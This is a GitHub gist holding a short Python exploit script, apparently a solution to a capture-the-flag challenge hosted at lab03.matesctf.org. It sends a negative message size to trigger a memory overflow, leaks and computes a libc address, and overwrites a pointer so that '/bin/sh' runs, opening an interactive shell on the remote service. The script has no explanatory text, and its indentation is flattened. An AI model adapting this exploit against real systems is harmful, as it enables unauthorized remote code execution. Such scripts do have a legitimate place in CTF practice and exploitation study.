Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created November 29, 2015 05:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/3502910ded1a91271373 to your computer and use it in GitHub Desktop.
Save peternguyen93/3502910ded1a91271373 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# Author : peternguyen
from Pwn import *
p = Pwn(mode = 1,host='lab03.matesctf.org',port=4321)
# p = Pwn(mode=1)
def exploit():
p.connect()
payload = 'A'*2064 + '/bin/sh;'
payload = payload.ljust(2167,'A')
# raw_input('Debug>')
for i in xrange(3):
p.read_until('>>')
p.write('2\n')
p.read_until('Choose fruit id:')
p.write('1\n')
p.read_until('>>')
p.write('4\n')
p.read_until('Size of feedback message:')
p.write('-1\n')
p.read_until('Content:')
p.send(payload + '\n')
p.read_until('>>')
p.write('3\n')
l = p.read_until('>>')
s = l.index('A\n')
addr = p.unpack(l[s + 2:s + 8].ljust(8,'\x00')) - 0xc74 - 0x5ea000 + 0x46640
print hex(addr)
# # raw_input('Debug>')
payload = 'A' + p.pack(addr) + '\x00'
p.write('\n')
p.read_until('>>')
p.write('4\n')
p.read_until('Size of feedback message:')
p.write('-300\n')
p.read_until('Content:')
p.send(payload + '\n')
p.read_until('>>')
p.write('3\n')
p.io()
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment